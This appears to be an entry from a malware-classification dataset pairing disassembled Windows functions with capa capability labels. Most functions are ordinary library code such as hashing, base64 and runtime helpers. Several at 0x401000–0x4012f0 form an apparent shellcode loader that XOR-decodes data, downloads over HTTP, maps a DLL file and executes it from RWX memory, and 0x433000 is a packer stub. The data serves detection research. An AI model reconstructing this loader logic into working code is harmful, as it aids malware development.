joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4085e2
Capabilities:
Check os version
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x436504]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
push str.perm_all
push esi
call fcn.00418f50
test eax, eax
pop ecx
pop ecx
jne 0x408681
push str.Permanent_install_for_all_users_n
call fcn.00408291
pop ecx
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x408646
cmp dword [ebp - 0x9c], 5
jbe 0x408646
push str.PROGRAMDATA
call fcn.0041a4d9
pop ecx
jmp 0x4086a9
push str.ALLUSERSPROFILE
call fcn.0041a4d9
mov edi, eax
mov dword [esp], 0x1388
call fcn.00416db0
pop ecx
mov esi, eax
push edi
push esi
mov byte [esi], 0
call fcn.00416fe0
push str.Application_Data
call fcn.0040820f
add esp, 0xc
push esi
call fcn.004081f0
pop ecx
jmp 0x4086ab
push str.perm_user
push esi
call fcn.00418f50
test eax, eax
pop ecx
pop ecx
jne 0x408699
push str.Permanent_install_for_current_user_n
jmp 0x40869e
push str.Temporary_install_n
call fcn.00408291
pop ecx
call fcn.0040802a
mov esi, eax
test esi, esi
jne 0x4086c1
push str.ERROR:_Unable_to_get_shared_dir_
call fcn.00408291
pop ecx
push 1
call fcn.00417d7d
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00416cc4
leave
ret
Function at 0x40a520
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
jne 0x40a540
push 0xd0
push str.._srchashes_sha2_sha256.c
push 0x42c498
call fcn.0040c6a0
add esp, 0xc
mov dword [esi + 0x2a0], 0
mov dword [esi + 0x278], 0
mov dword [esi + 0x27c], 0
mov dword [esi + 0x280], 0x6a09e667
mov dword [esi + 0x284], 0xbb67ae85
mov dword [esi + 0x288], 0x3c6ef372
mov dword [esi + 0x28c], 0xa54ff53a
mov dword [esi + 0x290], 0x510e527f
mov dword [esi + 0x294], 0x9b05688c
mov dword [esi + 0x298], 0x1f83d9ab
mov dword [esi + 0x29c], 0x5be0cd19
xor eax, eax
pop esi
ret

Function at 0x40aac0
Capabilities:
Hash data using sha224

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
jne 0x40aadd
push 0x2a
push str.c:users_simplehelpworkspace_runner_nativelibtomlibtomcrypt_srchashes_sha2_sha224.c
push 0x42c498
call fcn.0040c6a0
add esp, 0xc
mov dword [esi + 0x2a0], 0
mov dword [esi + 0x278], 0
mov dword [esi + 0x27c], 0
mov dword [esi + 0x280], 0xc1059ed8
mov dword [esi + 0x284], 0x367cd507
mov dword [esi + 0x288], 0x3070dd17
mov dword [esi + 0x28c], 0xf70e5939
mov dword [esi + 0x290], 0xffc00b31
mov dword [esi + 0x294], 0x68581511
mov dword [esi + 0x298], 0x64f98fa7
mov dword [esi + 0x29c], 0xbefa4fa4
xor eax, eax
pop esi
ret
Function at 0x416cc4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x436504]
jne 0x416cce
repz ret
jmp fcn.0041c2bb

Function at 0x41b612
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x41b63f
call fcn.004171ec
mov dword [eax], esi
call fcn.004171d9
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0041e11f
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x41b61b
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41b66e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004171ff
pop ecx
call fcn.004171d9
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x41b695
test al, 1
je 0x41b695
test byte [esp + 0xc], 2
je 0x41b695
call fcn.004171ec
mov dword [eax], 5
call fcn.004171d9
mov dword [eax], 0xd
jmp 0x41b665
xor eax, eax
pop esi
ret
Function at 0x424e35
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0041e1a6
xor ebx, ebx
cmp dword [0x4399e8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x424f0a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x424e75
xor eax, eax
jmp 0x424fce
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x424e6e
push eax
call fcn.0041e143
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4399e8], eax
call esi
push eax
call fcn.0041e143
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4399ec], eax
call esi
push eax
call fcn.0041e143
mov dword [0x4399f0], eax
lea eax, [ebp - 8]
push eax
call fcn.00417b6e
test eax, eax
pop ecx
pop ecx
je 0x424ed8
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041e023
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x424f0a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0041e143
cmp eax, ebx
pop ecx
mov dword [0x4399f8], eax
je 0x424f0a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041e143
pop ecx
mov dword [0x4399f4], eax
mov eax, dword [0x4399f4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x424f83
cmp dword [0x4399f8], esi
je 0x424f83
push eax
call fcn.0041e1af
pop ecx
call eax
cmp eax, ebx
je 0x424f50
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4399f8]
call fcn.0041e1af
pop ecx
call eax
test eax, eax
je 0x424f50
test byte [ebp - 0x18], 1
jne 0x424f83
lea eax, [ebp - 0xc]
push eax
call fcn.00417be1
test eax, eax
pop ecx
je 0x424f6b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041e023
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x424f7a
or dword [ebp + 0x10], 0x200000
jmp 0x424fb4
or dword [ebp + 0x10], 0x40000
jmp 0x424fb4
mov eax, dword [0x4399ec]
cmp eax, esi
je 0x424fb4
push eax
call fcn.0041e1af
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x424fb4
mov eax, dword [0x4399f0]
cmp eax, esi
je 0x424fb4
push dword [ebp - 4]
push eax
call fcn.0041e1af
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4399e8]
call fcn.0041e1af
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push edi
push 0x400
push 8
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x401022
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp edi, str.P2W4_6R8M:L_R_M_BpDvFiH_J.L_NPR6T6VX4Z__s1_
jne 0x401031
mov dword [0x40bf94], eax
jmp 0x40103e
cmp edi, 0x40b040
jne 0x40103e
mov dword [0x40bf98], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
xor ebx, ebx
mov esi, eax
sub edi, eax
lea ecx, [ecx]
mov al, byte [edi + esi]
mov byte [esi], al
call ebp
mov cl, bl
add cl, 0x31
xor byte [esi], cl
inc ebx
inc esi
cmp ebx, 0x3ff
jb 0x401050
pop esi
pop ebp
pop ebx
pop edi
ret

Function at 0x401070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40bf90]
push ebx
push esi
push edi
lea esi, [eax + 0x14]
mov edi, eax
mov eax, dword [esi]
push 0x40
push 0x3000
inc eax
push eax
push 0
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
test eax, eax
je 0x4010d2
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push ecx
push edx
push eax
call fcn.00403c60
add esp, 0xc
push dword [ebp - 8]
mov eax, 0xdefacec
inc eax
push eax
mov ebx, dword [ebp - 4]
push ebx
pop edx
xor eax, eax
add eax, 0x1000
sub esp, eax
call edx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
mov edi, dword [0x40bf90]
mov ebp, dword [edi + 0x14]
mov edx, dword [edi + 0x10]
cmp ebp, 4
jae 0x4010f8
pop edi
xor eax, eax
pop ebp
ret
push esi
movzx esi, byte [edx]
xor ecx, ecx
mov edi, edi
mov eax, esi
xor eax, ecx
cmp al, 0xeb
jne 0x40111c
movzx eax, byte [edx + 1]
xor eax, ecx
cmp al, 2
jne 0x40111c
movzx eax, byte [edx + 3]
xor eax, ecx
cmp al, 0xf1
je 0x40112b
inc ecx
cmp ecx, 0x100
jb 0x401100
pop esi
pop edi
xor eax, eax
pop ebp
ret
xor eax, eax
test ebp, ebp
jbe 0x40113a
xor byte [eax + edx], cl
inc eax
cmp eax, dword [edi + 0x14]
jb 0x401131
pop esi
pop edi
mov eax, 1
pop ebp
ret
Function at 0x401150
Capabilities:
Check http status code
Connect to http server
Create http request
Get http content length
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub esp, 0x24
mov eax, dword [0x40bf90]
push ebx
push ebp
push edi
xor ebp, ebp
push ebp
push ebp
push ebp
push ebp
xor ebx, ebx
push ebp
mov dword [esp + 0x28], ebx
mov dword [esp + 0x3c], 0x4092b0
mov dword [esp + 0x40], ebp
mov dword [esp + 0x30], eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [esp + 0x20], edi
cmp edi, ebp
je 0x4012df
mov ecx, dword [0x40bf94]
push esi
push ebp
push ebp
push 3
push ebp
push ebp
push 0x50
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [esp + 0x28], esi
cmp esi, ebp
je 0x4012d7
mov eax, dword [0x40bf98]
push ebp
push 0x4000000
lea edx, [esp + 0x34]
push edx
push ebp
push ebp
push eax
push ebp
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
cmp ebx, ebp
je 0x4012cc
push ebp
push ebp
push ebp
push ebp
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x4012bd
mov esi, dword [sym.imp.WININET.dll_HttpQueryInfoW]
push ebp
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x24]
push edx
push 0x20000013
mov edi, 4
push ebx
mov dword [esp + 0x24], edi
call esi
test eax, eax
je 0x4012bd
cmp dword [esp + 0x1c], 0xc8
jne 0x4012bd
push ebp
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0x20000005
push ebx
mov dword [esp + 0x28], ebp
mov dword [esp + 0x24], edi
call esi
test eax, eax
je 0x4012bd
mov eax, dword [esp + 0x14]
cmp eax, ebp
je 0x4012bd
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp edi, ebp
je 0x4012bd
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [esp + 0x14]
xor esi, esi
jmp 0x401270
lea edx, [esp + 0x10]
push edx
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
push ebx
call ebp
test eax, eax
mov eax, dword [esp + 0x14]
je 0x401295
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x401295
add esi, ecx
cmp esi, eax
jb 0x401270
cmp esi, eax
je 0x4012ab
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4012bd
mov ecx, dword [esp + 0x20]
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], edi
mov dword [esp + 0x18], 1
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x28]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
pop edi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret
Function at 0x4012f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0x218
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x214], eax
push ebx
push esi
push edi
mov edi, dword [0x40bf90]
xor ebx, ebx
push 0x20a
lea eax, [esp + 0x18]
push ebx
push eax
mov dword [esp + 0x18], ebx
call fcn.00405790
add esp, 0xc
push 0x104
lea ecx, [esp + 0x18]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.tpe64.dll
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401401
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
push esi
call ebp
push eax
push ebx
push 2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x4013f9
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x4013ea
push 0
push esi
call ebp
push 4
mov dword [edi + 0x14], eax
push 0x3000
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [edi + 0x10], eax
test eax, eax
je 0x4013e3
mov edx, dword [edi + 0x14]
push edx
push ebx
push eax
call fcn.00403c60
add esp, 0xc
mov dword [esp + 0x10], 1
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
mov ecx, dword [esp + 0x220]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040153d
add esp, 0x218
ret

Function at 0x401420
Capabilities:
Set current directory

Disassembly:
sub esp, 0x10c
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x108], eax
push 0x105
lea eax, [esp + 4]
push 0
push eax
call fcn.00405790
add esp, 0xc
push 0x105
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401460
sub eax, edx
add eax, 0xffffffff
js 0x401480
mov cl, 0x5c
cmp byte [esp + eax], cl
je 0x40147c
sub eax, 1
jns 0x401470
jmp 0x401480
mov byte [esp + eax], 0
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0040153d
add esp, 0x10c
ret

Function at 0x40153d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a004]
jne 0x401547
repz ret
jmp fcn.004016fc
Function at 0x403683
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402561
and dword [ebp - 4], 0
cmp dword [0x40be68], 0
mov ebx, eax
jne 0x403734
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4037e5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4037e5
push eax
call fcn.004024ef
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40be68], eax
call esi
push eax
call fcn.004024ef
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40be6c], eax
call esi
push eax
call fcn.004024ef
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40be70], eax
call esi
push eax
call fcn.004024ef
pop ecx
mov dword [0x40be78], eax
test eax, eax
je 0x403734
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024ef
pop ecx
mov dword [0x40be74], eax
mov eax, dword [0x40be74]
cmp eax, ebx
je 0x40378c
cmp dword [0x40be78], ebx
je 0x40378c
push eax
call fcn.0040256a
push dword [0x40be78]
mov esi, eax
call fcn.0040256a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40378c
test edi, edi
je 0x40378c
call esi
test eax, eax
je 0x403783
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403783
test byte [ebp - 0xc], 1
jne 0x40378c
or dword [ebp + 0x10], 0x200000
jmp 0x4037c5
mov eax, dword [0x40be6c]
cmp eax, ebx
je 0x4037c5
push eax
call fcn.0040256a
pop ecx
test eax, eax
je 0x4037c5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4037c5
mov eax, dword [0x40be70]
cmp eax, ebx
je 0x4037c5
push eax
call fcn.0040256a
pop ecx
test eax, eax
je 0x4037c5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40be68]
call fcn.0040256a
pop ecx
test eax, eax
je 0x4037e5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4037e7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x116a6c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, eax
mov eax, ebx
call fcn.000bcde0
xor edx, edx
push ebp
push 0x116ade
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebx + 0x70]
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 4]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 8]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0xc]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x10]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x14]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x18]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov ecx, dword [eax + 0x1c]
mov byte [ecx + 0x30], dl
mov dl, byte [ebx + 0x30]
mov eax, dword [eax + 0x20]
mov byte [eax + 0x30], dl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x116ae8
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x405f06
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a54], 0
push esi
jne 0x405f3d
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f17
mov dword [ecx*4 + 0x422a50], eax
inc ecx
cmp ecx, 0x100
jl 0x405f12
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f6e
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a50]
xor eax, esi
inc ecx
dec edx
jne 0x405f50
pop edi
not eax
pop esi
ret 0xc
Function at 0x404240
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ebx, esp
call fcn.00404257

Function at 0x406900
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push esi
push edi
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ebx, esp
call fcn.00406917

Function at 0x410990
Capabilities:
Access the windows event log
Write file on windows

Disassembly:
mov eax, 0x10c
call fcn.0055d6e0
mov eax, dword [0x6f36d4]
xor eax, esp
mov dword [esp + 0x108], eax
push esi
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
test esi, esi
je 0x410a16
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
test eax, eax
je 0x410a16
lea eax, [esp + 0x118]
mov edx, 0x100
push eax
push ecx
push dword [esp + 0x11c]
lea ecx, [esp + 0x14]
call fcn.0040fe90
add esp, 0xc
test eax, eax
jns 0x4109ec
mov eax, 0x100
push 0
lea ecx, [esp + 8]
push ecx
push eax
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0055d6c3
add esp, 0x10c
ret
lea eax, [esp + 0x118]
mov edx, 0xff
push eax
push ecx
push dword [esp + 0x11c]
lea ecx, [esp + 0x14]
call fcn.0040fe90
add esp, 0xc
mov byte [esp + 0x107], 0
call fcn.00410850
test eax, eax
jle 0x410a9a
push str.OpenSSL
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov esi, eax
test esi, esi
je 0x410aae
push 0
lea eax, [esp + 0xc]
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 1
push 0
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop esi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0055d6c3
add esp, 0x10c
ret
push 0x10
push str.OpenSSL:_FATAL
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x10c]
pop esi
xor ecx, esp
call fcn.0055d6c3
add esp, 0x10c
ret
Function at 0x429510
Capabilities:
Encode data using base64

Disassembly:
push ebp
push esi
mov esi, dword [esp + 0xc]
xor ebp, ebp
push edi
mov edi, ecx
test esi, esi
jle 0x4295de
inc edx
push ebx
movzx eax, byte [edx - 1]
cmp esi, 3
jl 0x429578
movzx ecx, byte [edx]
shl eax, 8
or eax, ecx
movzx ecx, byte [edx + 1]
shl eax, 8
or eax, ecx
mov ecx, eax
shr ecx, 0x12
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi], cl
mov ecx, eax
shr ecx, 0xc
inc edi
and ecx, 0x3f
mov ebx, edi
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi], cl
mov ecx, eax
and ecx, 0x3f
shr eax, 6
and eax, 0x3f
mov ch, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov cl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x4295c1
shl eax, 0x10
cmp esi, 2
jne 0x429588
movzx ecx, byte [edx]
shl ecx, 8
or eax, ecx
mov ecx, eax
lea ebx, [edi + 1]
shr ecx, 0x12
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi], cl
mov ecx, eax
shr ecx, 0xc
mov edi, ebx
and ecx, 0x3f
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx], cl
cmp esi, 1
jne 0x4295b3
mov cl, 0x3d
jmp 0x4295bf
shr eax, 6
and eax, 0x3f
mov cl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov ch, 0x3d
lea eax, [edi + 2]
mov byte [ebx + 1], cl
sub esi, 3
mov byte [eax], ch
add ebp, 4
lea edi, [eax + 1]
add edx, 3
test esi, esi
jg 0x429525
pop ebx
mov byte [edi], 0
mov eax, ebp
pop edi
pop esi
pop ebp
ret

Function at 0x42b270
Capabilities:
Check if file exists

Disassembly:
push ebx
push esi
push edi
mov esi, edx
mov ebx, ecx
call fcn.0042b0f0
mov edi, eax
test edi, edi
jne 0x42b2eb
sub esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [edi + 1]
lea ecx, [edi + 2]
call fcn.0040d810
push 0x69dee4
push esi
push 0x69dee8
push ebx
push str.fopen_
push 5
call fcn.0040e660
add esp, 0x24
call fcn.005e4389
cmp dword [eax], 2
je 0x42b2cd
call fcn.005e4389
cmp dword [eax], 6
je 0x42b2cd
sub esp, 8
push 2
jmp 0x42b2d5
sub esp, 8
push 0x80
mov edx, 0x6d
lea ecx, [edx - 0x4d]
call fcn.0040d810
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0x6f5508
call fcn.0040a5b0
add esp, 4
mov esi, eax
push edi
test esi, esi
jne 0x42b30d
call fcn.0060490a
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 1
push 0x6a
push esi
call fcn.0040ac80
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebx
ret